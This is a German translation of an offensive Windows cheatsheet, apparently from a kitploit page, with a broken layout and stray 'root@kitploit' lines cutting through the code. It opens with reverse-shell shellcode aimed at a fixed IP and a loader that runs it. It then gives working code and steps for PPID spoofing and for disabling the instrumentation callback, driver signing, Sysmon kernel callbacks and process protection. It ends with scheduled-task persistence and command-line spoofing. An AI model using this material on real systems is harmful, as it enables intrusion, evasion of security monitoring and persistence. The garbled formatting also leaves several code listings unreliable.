    "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
    "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
    "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
    "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
    "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
    "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
    "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
    "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
    "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
    "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
    "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
    "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
    "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
    "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
    "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
    "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
    
    
    int main()
    {
    	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
    
    	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
    	SetThreadpoolWait(threadPoolWait, event, NULL);
    	WaitForSingleObject(event, INFINITE);
    	
    	return 0;
    }
    

    Thread Hijacking

    Entführen Sie einen Thread in einem entfernten Prozess, indem Sie ihn anhalten und dann sein RIP-Register (oder EIP, falls Sie auf x86 sind) durch die Adresse Ihres eigenen Shellcodes ersetzen.

    Codebeispiel: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

    PPID Spoofing

    Wenn ein verdächtiger/anormaler Prozess unter einem "legitimen" oder unbeaufsichtigten Elternprozess gestartet wird, wird das sehr verdächtig. Denken Sie an ein bösartiges Word-Makro, das einen PowerShell-Prozess bereitstellt: so seltsam, oder?

    PPID Spoofing kann das vermeiden, indem es Ihnen erlaubt, die Prozess-ID des übergeordneten Prozesses (PPID) Ihres erzeugten Prozesses zu ändern.```cpp #include <windows.h> #include <TlHelp32.h> #include

    //code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    root@kitploit:~
    HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
    
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    
    CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
    
    return 0;
    

    }

    root@kitploit:~
    ## Process Instrumentation Callback
    
    Process Instrumentation Callback ist definiert als das `ProcessInstrumentationCallback`-Flag (`0x40`) und wird von Sicherheitsprodukten verwendet, um [potenzielle direkte Syscall-Aufrufe zu erkennen](https://winternl.com/detecting-manual-syscalls-from-user-mode/), indem ein Callback registriert wird, der prüft, ob die `syscall`-Anweisung aus dem ausführbaren Image und nicht aus NTDLL stammt. Um es für unseren Prozess zu umgehen, müssen wir lediglich `Callback` auf `NULL` setzen.```c
    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;
    
    InstrumentationCallbackInfo.Version  = 0x0;
    InstrumentationCallbackInfo.Reserved = 0x0;
    InstrumentationCallbackInfo.Callback = NULL;
    
    NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );
    

    es ist immer noch "undokumentiert" von microsoft, aber Alex Ionescu hat es hier dokumentiert und Everdox ebenfalls hier

    Vollständiger Code zur Umgehung der Instrumentierung hier : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

    Heap-Verschlüsselung

    Gehe den Heap mit HeapWalk durch und verschlüssele dann die Allokationen :```c VOID HeapEncryptDecrypt() { PROCESS_HEAP_ENTRY HeapWalkEntry; SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) ); while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) { if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) { XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData ); } } }

    root@kitploit:~
    > weitere Informationen hier: https://www.arashparsa.com/hook-heaps-and-live-free/
    
    ## Sleep Obfuscation
    
    Viele PoCs rund um Sleep Obfuscation verwenden unterschiedliche Mechanismen (UM APCs, TP und mehr); hier nehmen wir als Beispiel [Ekko](https://github.com/Cracked5pider/Ekko/), das am einfachsten zu verstehende PoC.
    
    Die ROP-Kette von Ekko ist sehr einfach: Sie ändert den Speicherschutz auf `RW`, verschlüsselt den Bereich mit `SystemFunction032`, das RC4 implementiert, schläft mit `WaitForSingleObject`, entschlüsselt den Bereich und stellt den Schutz wieder auf `RWX`. Schließlich reiht sie alle `CONTEXT`-Strukturen mit `CreateTimerQueueTimer` in die Warteschlange ein.
    
    > Einige Scanner wie [TickTock](https://github.com/WithSecureLabs/TickTock) oder [Patriot](https://github.com/joe-desimone/patriot) wurden veröffentlicht, um das zu erkennen, aber du kannst sie vermeiden, indem du einen Trampolin zu `NtContinue` in NTDLL mit einem Gadget verwendest und das `Rip`-Register in der ROP-Kette ersetzt.
    
    <br>
     
    # Grundlagen der Treiberprogrammierung
    
    ## Allgemeine Konzepte
    
    Treiber werden verwendet, um Code im Kernelmodus statt im Benutzermodus auszuführen. Es ist eine mächtige Technik, um alle Usermode-Hooks und Überwachungen zu umgehen, die von AV/EDRs eingerichtet wurden. Sie kann auch verwendet werden, um Kernel-Callbacks und andere Kernel-Überwachungen zu umgehen.
    
    Der Code eines jeden Treibers muss geprüft werden (jede Warnung sollte als Fehler behandelt werden), um sicherzustellen, dass er absturzsicher ist (Du willst doch während eines Pentests keinen BSOD verursachen, oder?).
    
    Vor einigen Jahren beschloss Microsoft, nicht signierte Treiber aus seinem Betriebssystem zu verbannen: Du musst dies deaktivieren, bevor du deinen eigenen Treiber lädst, oder eine Schwachstelle nutzen (wie https://github.com/hmnthabit/CVE-2018-19320-LPE), um die Treibersignierung zu deaktivieren.
    
    In einem echten Pentest musst du einen verwundbaren Treiber finden und profitieren:)
    
    ## System Service Dispatch Table (SSDT)
    
    SSDT, oder System Service Dispatch Table, ist eine Tabelle (offensichtlich), die anhand ihres aktuellen Index die entsprechende Nt-Funktion auflösen kann. Wenn ein Usermode-Aufruf getätigt wird, wird er wie folgt aufgelöst:
    - ```OpenProcess``` (Die Win32-API-Funktion wird aufgerufen)
    - ```NtOpenProcess``` (In ntdll.dll aufgelöst)```asm
    mov r10, rcx
    mov eax, 26 
    syscall
    ret
    

    ntdll enthält Systemaufruf-Prozeduren für jede Nt-Funktion

    • 26 ist die Systemdienstnummer : Sie ist ein Index in der SSDT, der die Adresse der Kernel-NtOpenProcess-Funktion auflöst.
    • Kernelmode NtOpenProcess wird aufgerufen und kommuniziert als Teil eines Treibers mit I/O.

    SSDT ist in einer Service Descriptor Table definiert:```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;

    root@kitploit:~
    SSDT wurde/wird oft von Rootkits gehookt, da es möglich war, die entsprechende Adresse auf eigene Funktionen zu ändern. **Patchguard** hat diese Möglichkeit deaktiviert, außer im Falle einer internen Schwachstelle.
    
    > Viele Antivirenprodukte nutzen diesen Trick auch heute noch, vermutlich mit denselben Techniken wie böse Hacker ;)
    
    ## Treibereinstieg
    
    Der Treiber-Einstiegsprozess ist wie folgt definiert:```cpp
    #include <ntddk.h>
    
    NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    	return STATUS_SUCCESS;
    }
    

    Es ist sehr wichtig, das Makro UNREFERENCED_PARAMETER() auf die Parameter DriverObject und RegistryPath anzuwenden, es sei denn, sie werden durch später hinzugefügten Code referenziert.```cpp UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

    root@kitploit:~
    ## Eingabe/Ausgabe
    
    Verwenden Sie MajorFunction `IRP_MJ_CREATE` und `IRP_MJ_CLOSE`, um als "interrupt" zu fungieren und von der Client-Seite aus mit Ihrem Treiber zu kommunizieren.```cpp
    DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
    	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
    

    Definiere dann deine CreateClose-Funktion :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);

    root@kitploit:~
    DbgPrint("[+] Hello from FirstDriver CreateClose\n");
    
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
    

    }

    root@kitploit:~
    Vollständiger Beispielcode hier : //
    
    ## Kommunikation mit dem Treiber
    
    Anwendungen im Benutzermodus senden IOCTLs an Treiber, indem sie DeviceIoControl aufrufen, das in der Microsoft Windows SDK-Dokumentation beschrieben ist. Aufrufe von DeviceIoControl veranlassen den I/O-Manager, eine IRP_MJ_DEVICE_CONTROL-Anforderung zu erstellen und sie an den obersten Treiber zu senden (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)
    
    Die Benutzermodus-Anwendung muss die Funktion DeviceIoControl (ioapiset.h) verwenden, um mit einem Treiber zu kommunizieren.
    Sie wird verwendet, um verschiedene Anforderungen an sein **Device**-Objekt zu senden.
    
    Einfachen Beispielcode hier : //todo
    
    ## Treibersignierung
    
    Wie im Abschnitt [Allgemeine Konzepte](#general-concepts) beschrieben, müssen Treiber signiert sein, bevor sie auf einem Windows-System installiert werden. Trotz der Tatsache, dass Sie einen Treiber- oder Kernel-Exploit verwenden müssen, um sie zu umgehen (z. B. Gigabyte-Treiber-CVE), können Sie sie weiterhin manuell deaktivieren:```powershell
    bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
    bcdedit.exe -set TESTSIGNING ON
    

    Starten Sie dann Ihren Computer neu. Offensichtlich benötigen Sie lokale Administratorrechte auf dem Rechner, auf dem Sie diese Befehle ausführen möchten. Da ein Neustart erforderlich ist, ist das überhaupt keine OPSEC.

    Custom Callbacks

    ObRegisterCallbacks (wdm.h) ermöglicht es Ihnen, "benutzerdefinierte" Callbacks zu definieren, die verwendet werden können, um das Verhalten einer Usermode-App zu ändern, wenn diese durch eine bestimmte Operation ausgelöst wird, wie z.B. CreateProcess/OpenProcess (Handle-Erstellung).

    Im Grunde werden Ob-Callbacks mit einem OB_OPERATION_REGISTRATION-Array definiert, das mit der OB_CALLBACK_REGISTRATION-Struktur gefüllt wird (gefüllt mit Callbacks).

    Beispiel zum Auslösen bei OpenProcess/CreateProcess :```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

    obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

    NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {

    root@kitploit:~
    	DbgPrint("[+] Registering callbacks !\n");
    }
    
    root@kitploit:~
    **process_ob_pre_op_callbacks** ist eine benutzerdefinierte Funktion, die aufgerufen wird, wenn der Callback abgefangen wird, und die den Vorgang daher ablehnen oder zulassen kann.```c
    OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
    
    	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
    	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
    }
    

    Hinweis : My_PROCESS_ALL_ACCESS kann wie folgt definiert werden: #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (Win32-Hexa-Code).

    So patcht man ObCallbacks : Es gibt mehrere Möglichkeiten, sie zu patchen, aber die wahrscheinlich zwei gebräuchlichsten Wege, dieses Ziel zu erreichen, wären, eine ObCallback-Funktion mit einem Schema wie „nop-nop-nop-ret“ zu schreiben oder den Funktionszeiger des ObCallbacks aus den _CALLBACK_ENTRY_ITEM-Elementen zu entfernen. Bitte beachten Sie, dass diese Techniken tatsächlich PatchGuard auslösen können. Seien Sie also vorsichtig, wenn Sie diese Techniken in einem echten Einsatz verwenden.

    Offensive Driver Programming

    Kernel-Callback patchen

    Kernel-Callbacks wurden von Microsoft hauptsächlich eingeführt, um AV-/EDR-Herstellern eine bessere Möglichkeit zu bieten, verdächtige Aktionen zu überwachen und zu verhindern (Vorher verwendeten viele Sicherheitsprodukte Kernel-Mode-Patching wie SSDT-Hooks, um dieselbe Aufgabe zu erfüllen, aber der neue PatchGuard-Schutz zwang sie, diese neue Lösung zu verwenden).

    Es gibt verschiedene Arten von Kernel-Callbacks, insbesondere :

    root@kitploit:~
    - ProcessNotify : wird aufgerufen, wenn ein Prozess erstellt oder beendet wird.
    - ThreadNotify : wird aufgerufen, wenn ein Thread erstellt oder beendet (gelöscht) wird.
    - LoadImageNotify : wird aufgerufen, wenn ein ausführbares Image von einer anderen EXE geladen wird (Beispiel : DLL, die von einem Prozess geladen wird).
    

    Jede dieser Arten hat ihre zugehörige Funktion, wie zum Beispiel PsSetCreateProcessNotifyRoutineEx, um sie in Ihrem Treiber zu setzen. Letztere registriert eine Callback-Routine, wenn ein neuer Prozess im Windows-System erstellt oder gelöscht wird. Ihr Prototyp ist wie folgt definiert :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );

    root@kitploit:~
    **PCREATE_PROCESS_NOTIFY_ROUTINE_EX** ist ein Zeiger auf die Callback-Routine, die aufgerufen wird, wenn das Ereignis ausgelöst wird (hier: Prozess erstellt/beendet).
    **Remove** ist ein einfaches Flag, das angibt, ob PsSetCreateProcessNotify die Callback-Funktion registriert oder löscht (nützlich in der Cleanup-Funktion Ihres Treibers).
    
    Die Callback-Funktion verwendet diesen Prototyp :```cpp
    void OnProcessNotify(
        PEPROCESS Process,
        HANDLE ProcessId,
        PPS_CREATE_NOTIFY_INFO CreateInfo
    );
    

    wobei Process der aktuelle Prozess ist, der erstellt/gelöscht wird, ProcessId die ID dieses Prozesses ist und CreateInfo eine Struktur ist, die verschiedene Informationen über diesen Prozess enthält.

    Wenn ein Treiber eine neue Callback-Routine registriert, wird ihre Adresse in einem Array gespeichert, das normalerweise Pspname_of_your_callback heißt. Beispielsweise wird die Liste aller ProcessNotifyRoutine-Funktionen im Array PspCreateProcessNotifyRoutine gespeichert.

    Um solche Callbacks zu entfernen, musst du dieses Array einfach leeren!

    Leider gibt es keine direkte Möglichkeit, die Adresse dieses so aufregenden Arrays zu erhalten. Glücklicherweise gibt es viele Möglichkeiten, dies manuell zu tun, indem du im Speicher nach bestimmten Offsets suchst.

    Sobald du die richtige Adresse gefunden hast, kannst du alle registrierten Callbacks aufzählen und sie anhand des Treibernamens filtern (Sysmon-Treiber vielleicht ?:)), und nur die entsprechenden Callback-Funktionen in der Liste entfernen.

    Geschützte Prozesse patchen

    Geschützte Prozesse wurden mit Windows Vista eingeführt. Ein geschützter Prozess kann als eine Struktur namens EPROCESS definiert werden (undefiniert : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess), die definiert, ob der Prozess geschützt ist oder nicht, mit drei interessanten Membern:``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION

    root@kitploit:~
    Der dritte Member (Protection) ist eine PS_PROTECTION-Struktur, die wie folgt definiert ist:```
    _PS_PROTECTION
      +0x000 Level            : UChar
      +0x000 Type             : Pos 0, 3 Bits
      +0x000 Audit            : Pos 3, 1 Bit
      +0x000 Signer           : Pos 4, 4 Bits
    

    Um den PPL-Schutz zu entfernen, müssen Sie SignatureLevel,SectionSignatureLevel und Protection auf 0 setzen.

    Da das Offset zwischen der EPROCESS-Basisadresse und PS_PROTECTION 0x6c8 beträgt, können Sie es abrufen, indem Sie die beiden Werte addieren.

    Beispielcode : //todo

    Verwendung der Win32-API zur Verbesserung der OPSEC

    Persistenz

    Geplante Aufgaben

    Hinweis : Mehrere Beispiele aus diesem Teil wurden von https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations übernommen.

    Die "konventionelle" Art, eine Aufgabe unter Windows zu planen, erfordert die grafische Oberfläche (Task Scheduler). Für uns ist das nicht sehr praktikabel, da wir oft nur eine Befehlszeilensitzung auf einem kompromittierten System erhalten.

    Glücklicherweise kann die Win32-API verwendet werden, um solche Aufgaben zu erstellen. Damit können Sie eine großartige Persistenz für Ihren Beacon oder für Privilege Escalation erreichen.

    Im Grunde müssen Sie die COM-Bibliothek initialisieren und dann mit der CoCreateInstance()-API eine neue Instanz der ITaskService-Klasse erstellen. Sie können Ihr ITaskService-Objekt nun bearbeiten, um Stammordner, Aktion, Zeit usw. zu konfigurieren. Hier ist ein Beispiel unten:```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/

    #define _WIN32_DCOM

    #include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")

    using namespace std;

    int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }

    root@kitploit:~
    //  Set general COM security levels.
    hr = CoInitializeSecurity(
        NULL,
        -1,
        NULL,
        NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        0,
        NULL);
    
    if( FAILED(hr) )
    {
        printf("\nCoInitializeSecurity failed: %x", hr );
        CoUninitialize();
        return 1;
    }
    
    //  ------------------------------------------------------
    //  Create a name for the task.
    LPCWSTR wszTaskName = L"Boot Trigger Test Task";
    
    //  Get the Windows directory and set the path to Notepad.exe.
    wstring wstrExecutablePath = _wgetenv( L"WINDIR");
    wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
    
    
    //  ------------------------------------------------------
    //  Create an instance of the Task Service. 
    ITaskService *pService = NULL;
    hr = CoCreateInstance( CLSID_TaskScheduler,
                           NULL,
                           CLSCTX_INPROC_SERVER,
                           IID_ITaskService,
                           (void**)&pService );  
    if (FAILED(hr))
    {
          printf("Failed to create an instance of ITaskService: %x", hr);
          CoUninitialize();
          return 1;
    }
        
    //  Connect to the task service.
    hr = pService->Connect(_variant_t(), _variant_t(),
        _variant_t(), _variant_t());
    if( FAILED(hr) )
    {
        printf("ITaskService::Connect failed: %x", hr );
        pService->Release();
        CoUninitialize();
        return 1;
    }
    
    //  ------------------------------------------------------
    //  Get the pointer to the root task folder.  
    //  This folder will hold the new task that is registered.
    ITaskFolder *pRootFolder = NULL;
    hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
    if( FAILED(hr) )
    {
        printf("Cannot get Root Folder pointer: %x", hr );
        pService->Release();
        CoUninitialize();
        return 1;
    }
    
    //  If the same task exists, remove it.
    pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );
    
    //  Create the task builder object to create the task.
    ITaskDefinition *pTask = NULL;
    hr = pService->NewTask( 0, &pTask );
    
    pService->Release();  // COM clean up.  Pointer is no longer used.
    if (FAILED(hr))
    {
          printf("Failed to create a task definition: %x", hr);
          pRootFolder->Release();
          CoUninitialize();
          return 1;
    }
    
        
    //  ------------------------------------------------------
    //  Get the registration info for setting the identification.
    IRegistrationInfo *pRegInfo= NULL;
    hr = pTask->get_RegistrationInfo( &pRegInfo );
    if( FAILED(hr) )
    {
        printf("\nCannot get identification pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    hr = pRegInfo->put_Author(L"Author Name");
    pRegInfo->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put identification info: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    //  ------------------------------------------------------
    //  Create the settings for the task
    ITaskSettings *pSettings = NULL;
    hr = pTask->get_Settings( &pSettings );
    if( FAILED(hr) )
    {
        printf("\nCannot get settings pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    //  Set setting values for the task. 
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    pSettings->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put setting info: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
       
    
    //  ------------------------------------------------------
    //  Get the trigger collection to insert the boot trigger.
    ITriggerCollection *pTriggerCollection = NULL;
    hr = pTask->get_Triggers( &pTriggerCollection );
    if( FAILED(hr) )
    {
        printf("\nCannot get trigger collection: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    //  Add the boot trigger to the task.
    ITrigger *pTrigger = NULL;
    hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
    pTriggerCollection->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot create the trigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    IBootTrigger *pBootTrigger = NULL;
    hr = pTrigger->QueryInterface( 
        IID_IBootTrigger, (void**) &pBootTrigger );
    pTrigger->Release();
    if( FAILED(hr) )
    {
        printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
    if( FAILED(hr) )
       printf("\nCannot put the trigger ID: %x", hr);
    
    //  Set the task to start at a certain time. The time 
    //  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
    //  For example, the start boundary below
    //  is January 1st 2005 at 12:05
    hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
    if( FAILED(hr) )
       printf("\nCannot put the start boundary: %x", hr);
    
    hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
    if( FAILED(hr) )
       printf("\nCannot put the end boundary: %x", hr);
    
    // Delay the task to start 30 seconds after system start. 
    hr = pBootTrigger->put_Delay( L"PT30S" );
    pBootTrigger->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot put delay for boot trigger: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    } 
       
    
    //  ------------------------------------------------------
    //  Add an Action to the task. This task will execute Notepad.exe.     
    IActionCollection *pActionCollection = NULL;
    
    //  Get the task action collection pointer.
    hr = pTask->get_Actions( &pActionCollection );
    if( FAILED(hr) )
    {
        printf("\nCannot get Task collection pointer: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
        
    //  Create the action, specifying it as an executable action.
    IAction *pAction = NULL;
    hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
    pActionCollection->Release();
    if( FAILED(hr) )
    {
        printf("\nCannot create the action: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    IExecAction *pExecAction = NULL;
    //  QI for the executable task pointer.
    hr = pAction->QueryInterface( 
        IID_IExecAction, (void**) &pExecAction );
    pAction->Release();
    if( FAILED(hr) )
    {
        printf("\nQueryInterface call failed for IExecAction: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    //  Set the path of the executable to Notepad.exe.
    hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
    pExecAction->Release(); 
    if( FAILED(hr) )
    {
        printf("\nCannot set path of executable: %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
      
    
    //  ------------------------------------------------------
    //  Save the task in the root folder.
    IRegisteredTask *pRegisteredTask = NULL;
    VARIANT varPassword;
    varPassword.vt = VT_EMPTY;
    hr = pRootFolder->RegisterTaskDefinition(
            _bstr_t( wszTaskName ),
            pTask,
            TASK_CREATE_OR_UPDATE, 
            _variant_t(L"Local Service"), 
            varPassword, 
            TASK_LOGON_SERVICE_ACCOUNT,
            _variant_t(L""),
            &pRegisteredTask);
    if( FAILED(hr) )
    {
        printf("\nError saving the Task : %x", hr );
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }
    
    printf("\n Success! Task successfully registered. " );
    
    //  Clean up.
    pRootFolder->Release();
    pTask->Release();
    pRegisteredTask->Release();
    CoUninitialize();
    return 0;
    

    }

    root@kitploit:~
    ## Befehlszeilen-Spoofing
    
    Funktioniert einwandfrei sogar mit Sysmon/Process-Hacker-Überwachung; es ermöglicht das Verbergen deiner Befehlsargumente, was bei Pentest-/Red-Team-Einsätzen nützlich sein kann (```powershell -enc .....```)
    
    Um dieses Ziel zu erreichen, kannst du einen neuen Prozess mit "legitimen" Befehlsargumenten im angehaltenen Modus erzeugen und diese Argumente dann direkt im PEB bearbeiten.
    
    Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
     
    # Verschiedenes
    
    ## x64-Aufrufkonvention
    
    - Die ersten 4 Integer-Argumente werden in den Registern `RCX`, `RDX`, `R8` und `R9` übergeben.
    - Weitere Argumente werden auf den Stack gelegt.
    - Auf die Rücksprungadresse folgt ein 32-Byte-Bereich, der für `RCX`, `RDX`, `R8` und `R9` reserviert ist.
    - Lokale Variablen und nicht-flüchtige Register werden oberhalb der Rücksprungadresse gespeichert.
    - `RBP` wird nicht verwendet, um auf lokale Variablen/Funktionsargumente zu verweisen, und `RSP` bleibt während der gesamten Funktion konstant.
    
    > Hinweise:
    > - Wenn eine Funktion eine variable Anzahl von Argumenten hat, muss sie den Stack verwenden, um diese zu übergeben
    > - Wenn der Rückgabewert eine Struktur ist, ist der Aufrufer dafür verantwortlich, Speicherplatz für den Rückgabewert zu reservieren und einen Zeiger auf diesen Speicherplatz als erstes Argument zu übergeben
    > - Der Callee ist dafür verantwortlich, die Werte der Register `RBX`, `RBP` und `R12`–`R15` zu erhalten, darf jedoch die anderen Register frei verändern
    > - Der Stack ist an der Aufrufstelle an einer 16-Byte-Grenze ausgerichtet
    > - Der Callee ist dafür verantwortlich, den Stack-Zeiger (`RSP`) vor der Rückkehr auf seinen ursprünglichen Wert zurückzusetzen
    
    ## Indirekte Ausführung
    
    Indirekte Ausführung bezieht sich hier auf ein ROP, um die Ausführung einiger Aufgaben zu erreichen. Du musst Parameter in das richtige Register laden und dafür die [x64-Aufrufkonvention](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) verstehen.
    
